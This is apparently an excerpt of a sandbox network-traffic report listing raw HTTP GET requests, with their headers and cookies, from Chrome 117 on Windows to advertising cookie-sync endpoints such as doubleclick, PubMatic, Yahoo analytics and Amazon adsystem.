Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rubicon&google_hm=YTE5NWE1N2Q3MmExN2FmNWY3MzBiODE2YjhmYjJiMWNhMDdjNGI4Mw&gdpr=0&us_privacy=1YNN HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /ups/58824/sync?_origin=0&dpid=58280&ovsid=316bb570-8374-4683-a0e9-a8b41619214a&redir=true HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z"
Source: global traffic	HTTP traffic detected: GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: bito=AABsm07LPlAAABMLLoldYg; bitoIsSecure=ok
Source: global traffic	HTTP traffic detected: GET /dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= HTTP/1.1Host: pixel-sync.sitescout.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ssi=ab25e982-1377-4641-a931-12c3dc8e9d24#1704929244042
Source: global traffic	HTTP traffic detected: GET /s/dcm?pid=a38a8ddf-19a7-4ab8-ba05-0a61de92a7e5&id=&gdpr=0&us_privacy=1YNN HTTP/1.1Host: aax-eu.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /ecm3?ex=rubiconprojectHMT&id=Yid5ajjfTX6tVeYh4L78ow&gdpr=0 HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=156078&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: simage4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
Source: global traffic	HTTP traffic detected: GET /w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
Source: global traffic	HTTP traffic detected: GET /insync?gdpr=0&gdpr_consent=&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&vxii_pid=12&vxii_pid1=10067&vxii_rcid=71a4da1a-bb78-4555-8d0d-3c1aa9d7970e HTTP/1.1Host: thrtle.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDQzNTAsInQiOjF9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AABsm07LPlAAABMLLoldYg&gdpr=0&gdpr_consent= HTTP/1.1Host: image2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=71776206&p=159463&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=84427404&p=156078&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
Source: global traffic	HTTP traffic detected: GET /getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uuid2=7367141199740274687; XANDR_PANID=qFI7Su_GC9_9RK1nPBjtvu_DxAoY4STz0CCs3RfmJo9qNGkr1v7Yn176QLAtsYdMFTvx6BdlCl9mWPfudDrPCVoy1r3PDObk_Zh5tqbw-0I.
Source: global traffic	HTTP traffic detected: GET /idsync/ex/receive?partner_id=1830&partner_device_id=bd6a219c-2538-477b-90ee-6d20c7860c4b&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%2Chttps%253A%252F%252Fx.bidswitch.net%252Fsync%253Fdsp_id%253D437%2526ssp%253Dcriteo%2526user_id%253D%2C HTTP/1.1Host: pixel.tapad.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TapAd_TS=1704929237034; TapAd_DID=d16e3823-cacb-438f-9bfc-c2bc8c823251; TapAd_3WAY_SYNCS=
Source: global traffic	HTTP traffic detected: GET /api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1Host: crb.kargo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ktcid=31dacb16-232a-0279-5a2f-9d40ea54e9b2
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rp&google_hm=TFI4RVVHMTItMUYtNUpHNA==&google_push=&gdpr=0 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /ups/57926/sync?uid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&_origin=0&redir=true&pi=aol&_origin=0&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&tc=1 HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; 